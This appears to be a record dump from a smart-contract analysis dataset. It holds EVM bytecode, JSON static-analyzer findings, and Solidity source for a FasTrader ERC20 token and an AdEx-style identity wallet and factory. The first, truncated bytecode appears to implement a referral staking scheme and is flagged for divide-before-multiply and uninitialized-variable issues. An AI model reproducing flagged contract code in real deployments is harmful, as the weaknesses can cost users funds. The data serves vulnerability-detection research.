590528082018490524260608201529051600160a060020a038616917f4175768318d05d175ba194bba03717d72a0f41138f491d37f4b8808433b5ec84919081900360800190a25b50505050565b6014015190565b60006107c4611560565b6107cc6115a8565b600033803b9063ffffffff821683101561081e576040805160e560020a62461bcd02815260206004820152600760248201526000805160206115c0833981519152604482015290519081900360640190fd5b600854871115610878576040805160e560020a62461bcd02815260206004820152601160248201527f57686f20726566657272656420796f753f000000000000000000000000000000604482015290519081900360640190fd5b6006543410156108d2576040805160e560020a62461bcd02815260206004820152601b60248201527f446f65736e2774206d656574206d696e696d756d207374616b652e0000000000604482015290519081900360640190fd5b6108da611414565b3360009081526009602052604090206005015490965060ff161561093c573360009081526009602052604090206004015442111561091b5761091b336104eb565b33600090815260096020526040902080543401815542600290910155610a5b565b61010060405190810160405280348152602001428152602001428152602001600081526020018781526020016001151581526020016008548152602001888152509450846009600033600160a060020a0316600160a060020a03168152602001908152602001600020600082015181600001556020820151816001015560408201518160020155606082015181600301556080820151816004015560a08201518160050160006101000a81548160ff02191690831515021790555060c0820151816006015560e0820151816007015590505033600a6000600854815260200190815260200160002060006101000a815481600160a060020a030219169083600160a060020a031602179055506008600081548092919060010191905055505b600d54421115610a6d57610a6d610ce5565b600e8054600190810191829055336020878101918252348089526000948552600f90915260409093208751815590519101805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03909216919091179055600b54610add916127109161061391906114b5565b600c805490910190553360009081526009602052604090206007015415610c3e57610b19612710610613600554346114b590919063ffffffff16565b336000908152600960209081526040808320600701548352600a909152808220549051929550600160a060020a03169185156108fc0291869190818181858888f19350505050158015610b70573d6000803e3d6000fd5b50610b796112dd565b600160a060020a03166108fc610ba461271061061360055460075403346114b590919063ffffffff16565b6040518115909202916000818181858888f19350505050158015610bcc573d6000803e3d6000fd5b50336000818152600960209081526040808320600701548352600a8252918290205460055483518881529283015242828401529151600160a060020a039290921692917f45c0cf9f69d353cf3187595d052580cd76255a6519099fe88d76a57faca583ca9181900360600190a3610c97565b610c466112dd565b600160a060020a03166108fc610c6d612710610613600754346114b590919063ffffffff16565b6040518115909202916000818181858888f19350505050158015610c95573d6000803e3d6000fd5b505b50505050505050565b610ca86112ed565b1515610cb357600080fd5b600c805434019055565b600f6020526000908152604090208054600190910154600160a060020a031682565b60065481565b60008033803b9063ffffffff8216831015610d38576040805160e560020a62461bcd02815260206004820152600760248201526000805160206115c0833981519152604482015290519081900360640190fd5b600d544211610d91576040805160e560020a62461bcd02815260206004820152600760248201527f4e6f742079657400000000000000000000000000000000000000000000000000604482015290519081900360640190fd5b610d99611414565b600d55600e54600510156107ad57600c8054600090915593503031841115610dc057303193505b600e5460031981016000908152600f6020526040808220546002198401835281832054600119850184528284205460001986018552838520549585529290932080546001909101549481019092019092019091019450600160a060020a03909116906108fc90610e379086906106139089906114b5565b6040518115909202916000818181858888f19350505050158015610e5f573d6000803e3d6000fd5b50600e546000908152600f6020526040902060018101549054600160a060020a03909116906000805160206115e083398151915290610eab90869061061390899063ffffffff6114b516565b600e546000908152600f602090815260409182902054825193845290830188905282820152426060830152519081900360800190a2600e54600019016000908152600f6020526040902060018101549054600160a060020a03909116906108fc90610f2390869061061390899063ffffffff6114b516565b6040518115909202916000818181858888f19350505050158015610f4b573d6000803e3d6000fd5b50600e54600019016000908152600f6020526040902060018101549054600160a060020a03909116906000805160206115e083398151915290610f9b90869061061390899063ffffffff6114b516565b600e54600019016000908152600f602090815260409182902054825193845290830188905282820152426060830152519081900360800190a2600e54600119016000908152600f6020526040902060018101549054600160a060020a03909116906108fc9061101790869061061390899063ffffffff6114b516565b6040518115909202916000818181858888f1935050505015801561103f573d6000803e3d6000fd5b50600e54600119016000908152600f6020526040902060018101549054600160a060020a03909116906000805160206115e08339815191529061108f90869061061390899063ffffffff6114b516565b600e54600119016000908152600f602090815260409182902054825193845290830188905282820152426060830152519081900360800190a2600e54600219016000908152600f6020526040902060018101549054600160a060020a03909116906108fc9061110b90869061061390899063ffffffff6114b516565b6040518115909202916000818181858888f19350505050158015611133573d6000803e3d6000fd5b50600e54600219016000908152600f6020526040902060018101549054600160a060020a03909116906000805160206115e08339815191529061118390869061061390899063ffffffff6114b516565b600e54600219016000908152600f602090815260409182902054825193845290830188905282820152426060830152519081900360800190a2600e54600319016000908152600f6020526040902060018101549054600160a060020a03909116906108fc906111ff90869061061390899063ffffffff6114b516565b6040518115909202916000818181858888f19350505050158015611227573d6000803e3d6000fd5b50600e54600319016000908152600f6020526040902060018101549054600160a060020a03909116906000805160206115e08339815191529061127790869061061390899063ffffffff6114b516565b600e54600319016000908152600f602090815260409182902054825193845290830188905282820152426060830152519081900360800190a250505050565b60055481565b600a60205260009081526040902054600160a060020a031681565b60025481565b600054600160a060020a03165b90565b600054600160a060020a0316331490565b600e5481565b60045481565b600b5481565b6113186112ed565b151561132357600080fd5b61132c816104eb565b50565b60035481565b600960205260009081526040902080546001820154600283015460038401546004850154600586015460068701546007909701549596949593949293919260ff9091169188565b33803b90600063ffffffff831611156113cd576040805160e560020a62461bcd02815260206004820152600760248201526000805160206115c0833981519152604482015290519081900360640190fd5b6113d6336104eb565b5050565b60075481565b60085481565b60015481565b6113f46112ed565b15156113ff57600080fd5b61132c816114e3565b600c5481565b600d5481565b600060025442101561142d5750600154600254016112ea565b6001546114516001546106946001546106136002544261145b90919063ffffffff16565b6002540101905090565b6000808383111561146b57600080fd5b5050808203805b5092915050565b60008080831161148857600080fd5b828481151561149357fe5b04949350505050565b6000828201838110156114ae57600080fd5b9392505050565b6000808315156114c85760009150611472565b508282028284828115156114d857fe5b04146114ae57600080fd5b600160a060020a03811615156114f857600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b61010060405190810160405280600081526020016000815260200160008152602001600081526020016000815260200160001515815260200160008152602001600081525090565b6040805180820190915260008082526020820152905600496e68756d616e00000000000000000000000000000000000000000000000000b403199f0cf676b3f926b6994d32067692e35fc0304ea603cd914cc4462a0765a165627a7a72305820fcd529e05b3947fe55f5cacc5cbcf71bf0c8edb7b9462e17474c5a6b9bb1bbc80029
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
7,204
0xadc4c7037aa071b8e2b229debf645f9f70448234
pragma solidity ^0.4.24; /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 { function totalSupply() public view returns (uint256); function balanceOf(address _who) public view returns (uint256); function allowance(address _owner, address _spender) public view returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); function approve(address _spender, uint256 _value) public returns (bool); function transferFrom(address _from, address _to, uint256 _value) public returns (bool); event Transfer( address indexed from, address indexed to, uint256 value ); event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @title SafeMath * @dev Math operations with safety checks that revert on error */ library SafeMath { /** * @dev Multiplies two numbers, reverts on overflow. */ function mul(uint256 _a, uint256 _b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (_a == 0) { return 0; } uint256 c = _a * _b; require(c / _a == _b); return c; } /** * @dev Integer division of two numbers truncating the quotient, reverts on division by zero. */ function div(uint256 _a, uint256 _b) internal pure returns (uint256) { require(_b > 0); // Solidity only automatically asserts when dividing by 0 uint256 c = _a / _b; // assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { require(_b <= _a); uint256 c = _a - _b; return c; } /** * @dev Adds two numbers, reverts on overflow. */ function add(uint256 _a, uint256 _b) internal pure returns (uint256) { uint256 c = _a + _b; require(c >= _a); return c; } /** * @dev Divides two numbers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md * Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20 { using SafeMath for uint256; mapping (address => uint256) private balances; mapping (address => mapping (address => uint256)) private allowed; uint256 private totalSupply_; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_value <= balances[msg.sender]); require(_to != address(0)); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(_to != address(0)); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue >= oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Internal function that mints an amount of the token and assigns it to * an account. This encapsulates the modification of balances such that the * proper events are emitted. * @param _account The account that will receive the created tokens. * @param _amount The amount that will be created. */ function _mint(address _account, uint256 _amount) internal { require(_account != 0); totalSupply_ = totalSupply_.add(_amount); balances[_account] = balances[_account].add(_amount); emit Transfer(address(0), _account, _amount); } /** * @dev Internal function that burns an amount of the token of a given * account. * @param _account The account whose tokens will be burnt. * @param _amount The amount that will be burnt. */ function _burn(address _account, uint256 _amount) internal { require(_account != 0); require(_amount <= balances[_account]); totalSupply_ = totalSupply_.sub(_amount); balances[_account] = balances[_account].sub(_amount); emit Transfer(_account, address(0), _amount); } /** * @dev Internal function that burns an amount of the token of a given * account, deducting from the sender's allowance for said account. Uses the * internal _burn function. * @param _account The account whose tokens will be burnt. * @param _amount The amount that will be burnt. */ function _burnFrom(address _account, uint256 _amount) internal { require(_amount <= allowed[_account][msg.sender]); // Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted, // this function needs to emit an event with the updated approval. allowed[_account][msg.sender] = allowed[_account][msg.sender].sub(_amount); _burn(_account, _amount); } } /** * @title FasTrader Token */ contract FasTrader is StandardToken { string public constant name = "FasTrader"; string public constant symbol = "FTD"; uint8 public constant decimals = 18; uint256 public constant INITIAL_SUPPLY = 100000000000 * (10 ** uint256(decimals)); /** * @dev Constructor that gives msg.sender all of existing tokens. */ constructor() public { _mint(msg.sender, INITIAL_SUPPLY); } }
0x6080604052600436106100b95763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100be578063095ea7b31461014857806318160ddd1461018057806323b872dd146101a75780632ff2e9dc146101d1578063313ce567146101e6578063661884631461021157806370a082311461023557806395d89b4114610256578063a9059cbb1461026b578063d73dd6231461028f578063dd62ed3e146102b3575b600080fd5b3480156100ca57600080fd5b506100d36102da565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561010d5781810151838201526020016100f5565b50505050905090810190601f16801561013a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015457600080fd5b5061016c600160a060020a0360043516602435610311565b604080519115158252519081900360200190f35b34801561018c57600080fd5b50610195610377565b60408051918252519081900360200190f35b3480156101b357600080fd5b5061016c600160a060020a036004358116906024351660443561037d565b3480156101dd57600080fd5b506101956104f2565b3480156101f257600080fd5b506101fb610503565b6040805160ff9092168252519081900360200190f35b34801561021d57600080fd5b5061016c600160a060020a0360043516602435610508565b34801561024157600080fd5b50610195600160a060020a03600435166105f7565b34801561026257600080fd5b506100d3610612565b34801561027757600080fd5b5061016c600160a060020a0360043516602435610649565b34801561029b57600080fd5b5061016c600160a060020a0360043516602435610728565b3480156102bf57600080fd5b50610195600160a060020a03600435811690602435166107c1565b60408051808201909152600981527f4661735472616465720000000000000000000000000000000000000000000000602082015281565b336000818152600160209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60025490565b600160a060020a0383166000908152602081905260408120548211156103a257600080fd5b600160a060020a03841660009081526001602090815260408083203384529091529020548211156103d257600080fd5b600160a060020a03831615156103e757600080fd5b600160a060020a038416600090815260208190526040902054610410908363ffffffff6107ec16565b600160a060020a038086166000908152602081905260408082209390935590851681522054610445908363ffffffff61080316565b600160a060020a03808516600090815260208181526040808320949094559187168152600182528281203382529091522054610487908363ffffffff6107ec16565b600160a060020a03808616600081815260016020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b6c01431e0fae6d7217caa000000081565b601281565b336000908152600160209081526040808320600160a060020a038616845290915281205480831061055c57336000908152600160209081526040808320600160a060020a0388168452909152812055610591565b61056c818463ffffffff6107ec16565b336000908152600160209081526040808320600160a060020a03891684529091529020555b336000818152600160209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600160a060020a031660009081526020819052604090205490565b60408051808201909152600381527f4654440000000000000000000000000000000000000000000000000000000000602082015281565b3360009081526020819052604081205482111561066557600080fd5b600160a060020a038316151561067a57600080fd5b3360009081526020819052604090205461069a908363ffffffff6107ec16565b3360009081526020819052604080822092909255600160a060020a038516815220546106cc908363ffffffff61080316565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b336000908152600160209081526040808320600160a060020a038616845290915281205461075c908363ffffffff61080316565b336000818152600160209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260016020908152604080832093909416825291909152205490565b600080838311156107fc57600080fd5b5050900390565b60008282018381101561081557600080fd5b93925050505600a165627a7a72305820cc83682e89f51443a3b5b31c33051f6e3bca62b9b5ac5a22651c42cf84af523a0029
{"success": true, "error": null, "results": {}}
7,205
0x50484176F62bc7B5c5F24Db12ce0508c514D0C07
/** *Submitted for verification at Etherscan.io on 2021-08-02 */ pragma solidity ^0.8.0; // NOTE: this interface lacks return values for transfer/transferFrom/approve on purpose, // as we use the SafeERC20 library to check the return value interface GeneralERC20 { function transfer(address to, uint256 amount) external; function transferFrom(address from, address to, uint256 amount) external; function approve(address spender, uint256 amount) external; function balanceOf(address spender) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); } library SafeERC20 { function checkSuccess() private pure returns (bool) { uint256 returnValue = 0; assembly { // check number of bytes returned from last function call switch returndatasize() // no bytes returned: assume success case 0x0 { returnValue := 1 } // 32 bytes returned: check if non-zero case 0x20 { // copy 32 bytes into scratch space returndatacopy(0x0, 0x0, 0x20) // load those bytes into returnValue returnValue := mload(0x0) } // not sure what was returned: don't mark as success default { } } return returnValue != 0; } function transfer(address token, address to, uint256 amount) internal { GeneralERC20(token).transfer(to, amount); require(checkSuccess(), "SafeERC20: transfer failed"); } function transferFrom(address token, address from, address to, uint256 amount) internal { GeneralERC20(token).transferFrom(from, to, amount); require(checkSuccess(), "SafeERC20: transferFrom failed"); } function approve(address token, address spender, uint256 amount) internal { GeneralERC20(token).approve(spender, amount); require(checkSuccess(), "SafeERC20: approve failed"); } } library SignatureValidator { enum SignatureMode { NO_SIG, EIP712, GETH, TREZOR, ADEX } function recoverAddr(bytes32 hash, bytes32[3] memory signature) internal pure returns (address) { SignatureMode mode = SignatureMode(uint8(signature[0][0])); if (mode == SignatureMode.NO_SIG) { return address(0x0); } uint8 v = uint8(signature[0][1]); if (mode == SignatureMode.GETH) { hash = keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } else if (mode == SignatureMode.TREZOR) { hash = keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n\x20", hash)); } else if (mode == SignatureMode.ADEX) { hash = keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n108By signing this message, you acknowledge signing an AdEx bid with the hash:\n", hash)); } return ecrecover(hash, v, signature[1], signature[2]); } /// @dev Validates that a hash was signed by a specified signer. /// @param hash Hash which was signed. /// @param signer Address of the signer. /// @param signature ECDSA signature along with the mode [{mode}{v}, {r}, {s}] /// @return Returns whether signature is from a specified user. function isValid(bytes32 hash, address signer, bytes32[3] memory signature) internal pure returns (bool) { return recoverAddr(hash, signature) == signer; } /// @notice Recover the signer of hash, assuming it's an EOA account /// @dev Only for EthSign signatures /// @param hash Hash of message that was signed /// @param signature Signature encoded as (bytes32 r, bytes32 s, uint8 v) /// @return Returns an address of the user who signed function recoverAddrBytes(bytes32 hash, bytes memory signature) internal pure returns (address) { // only implements case 65: r,s,v signature (standard) // see https://github.com/OpenZeppelin/openzeppelin-contracts/blob/d3c5bdf4def690228b08e0ac431437288a50e64a/contracts/utils/cryptography/ECDSA.sol#L32 require(signature.length == 65, "SignatureValidator: invalid signature length"); bytes32 r; bytes32 s; uint8 v; assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. // // Source OpenZeppelin // https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/cryptography/ECDSA.sol require( uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0, "SignatureValidator: invalid signature 's' value" ); require(v == 27 || v == 28, "SignatureValidator: invalid signature 'v' value"); hash = keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); return ecrecover(hash, v, r, s); } } contract Identity { mapping (address => bool) public privileges; // The next allowed nonce uint public nonce = 0; // Events event LogPrivilegeChanged(address indexed addr, bool priv); // Transaction structure // Those can be executed by keys with >= PrivilegeLevel.Transactions // Even though the contract cannot receive ETH, we are able to send ETH (.value), cause ETH might've been sent to the contract address before it's deployed struct Transaction { // replay protection address identityContract; // The nonce is also part of the replay protection, when signing Transaction objects we need to ensure they can be ran only once // this means it doesn't apply to executeBySender uint nonce; // tx fee, in tokens address feeTokenAddr; uint feeAmount; // all the regular txn data address to; uint value; bytes data; } constructor(address[] memory addrs) { uint len = addrs.length; for (uint i=0; i<len; i++) { privileges[addrs[i]] = true; emit LogPrivilegeChanged(addrs[i], true); } } // This contract can accept ETH without calldata receive() external payable {} // This contract can accept ETH with calldata fallback() external payable {} function setAddrPrivilege(address addr, bool priv) external { require(msg.sender == address(this), 'ONLY_IDENTITY_CAN_CALL'); privileges[addr] = priv; emit LogPrivilegeChanged(addr, priv); } function tipMiner(uint amount) external { require(msg.sender == address(this), 'ONLY_IDENTITY_CAN_CALL'); // See https://docs.flashbots.net/flashbots-auction/searchers/advanced/coinbase-payment/#managing-payments-to-coinbaseaddress-when-it-is-a-contract // generally this contract is reentrancy proof cause of the nonce executeCall(block.coinbase, amount, new bytes(0)); } function execute(Transaction[] memory txns, bytes32[3][] memory signatures) public { require(txns.length > 0, 'MUST_PASS_TX'); address feeTokenAddr = txns[0].feeTokenAddr; uint feeAmount = 0; uint len = txns.length; for (uint i=0; i<len; i++) { Transaction memory txn = txns[i]; require(txn.identityContract == address(this), 'TRANSACTION_NOT_FOR_CONTRACT'); require(txn.feeTokenAddr == feeTokenAddr, 'EXECUTE_NEEDS_SINGLE_TOKEN'); require(txn.nonce == nonce, 'WRONG_NONCE'); // If we use the naive abi.encode(txn) and have a field of type `bytes`, // there is a discrepancy between ethereumjs-abi and solidity // if we enter every field individually, in order, there is no discrepancy //bytes32 hash = keccak256(abi.encode(txn)); bytes32 hash = keccak256(abi.encode(txn.identityContract, txn.nonce, txn.feeTokenAddr, txn.feeAmount, txn.to, txn.value, txn.data)); address signer = SignatureValidator.recoverAddr(hash, signatures[i]); require(privileges[signer] == true, 'INSUFFICIENT_PRIVILEGE_TRANSACTION'); // NOTE: we have to change nonce on every txn: do not be tempted to optimize this by incrementing it once by the full txn count // otherwise reentrancies are possible, and/or anyone who is reading nonce within a txn will read a wrong value nonce = nonce + 1; feeAmount = feeAmount + txn.feeAmount; executeCall(txn.to, txn.value, txn.data); // The actual anti-bricking mechanism - do not allow a signer to drop his own priviledges require(privileges[signer] == true, 'PRIVILEGE_NOT_DOWNGRADED'); } if (feeAmount > 0) { SafeERC20.transfer(feeTokenAddr, msg.sender, feeAmount); } } function executeBySender(Transaction[] memory txns) public { require(privileges[msg.sender] == true || msg.sender == address(this), 'INSUFFICIENT_PRIVILEGE_SENDER'); uint len = txns.length; for (uint i=0; i<len; i++) { Transaction memory txn = txns[i]; executeCall(txn.to, txn.value, txn.data); } // The actual anti-bricking mechanism - do not allow the sender to drop his own priviledges require(privileges[msg.sender] == true, 'PRIVILEGE_NOT_DOWNGRADED'); } // we shouldn't use address.call(), cause: https://github.com/ethereum/solidity/issues/2884 // copied from https://github.com/uport-project/uport-identity/blob/develop/contracts/Proxy.sol // there's also // https://github.com/gnosis/MultiSigWallet/commit/e1b25e8632ca28e9e9e09c81bd20bf33fdb405ce // https://github.com/austintgriffith/bouncer-proxy/blob/master/BouncerProxy/BouncerProxy.sol // https://github.com/gnosis/safe-contracts/blob/7e2eeb3328bb2ae85c36bc11ea6afc14baeb663c/contracts/base/Executor.sol function executeCall(address to, uint256 value, bytes memory data) internal { assembly { let result := call(gas(), to, value, add(data, 0x20), mload(data), 0, 0) switch result case 0 { let size := returndatasize() let ptr := mload(0x40) returndatacopy(ptr, 0, size) revert(ptr, size) } default {} } } // EIP 1271 implementation function isValidSignature(bytes32 hash, bytes calldata signature) external view returns (bytes4) { if (privileges[SignatureValidator.recoverAddrBytes(hash, signature)]) { // bytes4(keccak256("isValidSignature(bytes32,bytes)") return 0x1626ba7e; } else { return 0xffffffff; } } } contract IdentityFactory { event LogDeployed(address addr, uint256 salt); address public creator; constructor() { creator = msg.sender; } function deploy(bytes memory code, uint256 salt) public { deploySafe(code, salt); } // When the relayer needs to act upon an /execute call, it'll either call execute on the Identity directly // if it's already deployed, or call `deployAndExecute` if the account is still counterfactual // can't have deployAndExecuteBySender, because the sender will be the factory function deployAndExecute( bytes memory code, uint256 salt, Identity.Transaction[] memory txns, bytes32[3][] memory signatures ) public { address payable addr = payable(deploySafe(code, salt)); Identity(addr).execute(txns, signatures); } // Withdraw the earnings from various fees (deploy fees and execute fees earned cause of `deployAndExecute`) function withdraw(address tokenAddr, address to, uint256 tokenAmount) public { require(msg.sender == creator, 'ONLY_CREATOR'); SafeERC20.transfer(tokenAddr, to, tokenAmount); } // This is done to mitigate possible frontruns where, for example, deploying the same code/salt via deploy() // would make a pending deployAndExecute fail // The way we mitigate that is by checking if the contract is already deployed and if so, we continue execution function deploySafe(bytes memory code, uint256 salt) internal returns (address) { address expectedAddr = address(uint160(uint256( keccak256(abi.encodePacked(bytes1(0xff), address(this), salt, keccak256(code))) ))); uint size; assembly { size := extcodesize(expectedAddr) } // If there is code at that address, we can assume it's the one we were about to deploy, // because of how CREATE2 and keccak256 works if (size == 0) { address addr; assembly { addr := create2(0, add(code, 0x20), mload(code), salt) } require(addr != address(0), 'FAILED_DEPLOYING'); require(addr == expectedAddr, 'FAILED_MATCH'); emit LogDeployed(addr, salt); } return expectedAddr; } }
0x608060405234801561001057600080fd5b506004361061004c5760003560e01c806302d05d3f146100515780634b7028f91461006f5780639c4ae2d014610084578063d9caed1214610097575b600080fd5b6100596100aa565b6040516100669190610723565b60405180910390f35b61008261007d3660046104de565b6100b9565b005b61008261009236600461049b565b61012f565b6100826100a5366004610460565b61013e565b6000546001600160a01b031681565b60006100c5858561017c565b60405163951a02af60e01b81529091506001600160a01b0382169063951a02af906100f69086908690600401610750565b600060405180830381600087803b15801561011057600080fd5b505af1158015610124573d6000803e3d6000fd5b505050505050505050565b610139828261017c565b505050565b6000546001600160a01b031633146101715760405162461bcd60e51b815260040161016890610869565b60405180910390fd5b61013983838361026a565b60008060ff60f81b308486805190602001206040516020016101a194939291906106ea565b60408051601f1981840301815291905280516020909101209050803b80610262576000848651602088016000f590506001600160a01b0381166101f65760405162461bcd60e51b81526004016101689061083f565b826001600160a01b0316816001600160a01b0316146102275760405162461bcd60e51b815260040161016890610819565b7fecef66cbb4d4c8dd18157def75d46290ddc298395ea46f7ff64321c1a912cbad8186604051610258929190610737565b60405180910390a1505b509392505050565b60405163a9059cbb60e01b81526001600160a01b0384169063a9059cbb906102989085908590600401610737565b600060405180830381600087803b1580156102b257600080fd5b505af11580156102c6573d6000803e3d6000fd5b505050506102d26102ee565b6101395760405162461bcd60e51b81526004016101689061088f565b6000803d8015610305576020811461030e5761031a565b6001915061031a565b60206000803e60005191505b501515905090565b80356001600160a01b038116811461033957600080fd5b919050565b6000601f838184011261034f578182fd5b8235602061036461035f836108f7565b6108c6565b828152818101908683016060808602890185018a1015610382578788fd5b875b868110156103e6578a88840112610399578889fd5b6103a2826108c6565b80848486018e8111156103b3578c8dfd5b8c5b60038110156103d25782358552938a0193918a01916001016103b5565b509188525095870195935050600101610384565b50919998505050505050505050565b600082601f830112610405578081fd5b813567ffffffffffffffff81111561041f5761041f61091b565b610432601f8201601f19166020016108c6565b818152846020838601011115610446578283fd5b816020850160208301379081016020019190915292915050565b600080600060608486031215610474578283fd5b61047d84610322565b925061048b60208501610322565b9150604084013590509250925092565b600080604083850312156104ad578182fd5b823567ffffffffffffffff8111156104c3578283fd5b6104cf858286016103f5565b95602094909401359450505050565b600080600080608085870312156104f3578081fd5b67ffffffffffffffff8086351115610509578182fd5b61051687873588016103f5565b945060208601359350604086013581811115610530578283fd5b8601601f81018813610540578283fd5b61054d61035f82356108f7565b81358152602080820191908301855b8435811015610610578135850160e0818e03601f1901121561057c578788fd5b61058660e06108c6565b61059260208301610322565b8152604082013560208201526105aa60608301610322565b6040820152608082013560608201526105c560a08301610322565b608082015260c082013560a082015260e0820135888111156105e557898afd5b6105f48f6020838601016103f5565b60c083015250855250602093840193919091019060010161055c565b50909550505050606086013581811115610628578283fd5b6106348882890161033e565b9250505092959194509250565b6000815180845260208085019450808401835b8381101561069457815187865b600381101561067e57825182529185019190850190600101610661565b5050506060969096019590820190600101610654565b509495945050505050565b60008151808452815b818110156106c4576020818501810151868301820152016106a8565b818111156106d55782602083870101525b50601f01601f19169290920160200192915050565b6001600160f81b031994909416845260609290921b6bffffffffffffffffffffffff191660018401526015830152603582015260550190565b6001600160a01b0391909116815260200190565b6001600160a01b03929092168252602082015260400190565b604080825283518282018190526000919060609081850190602080820287018401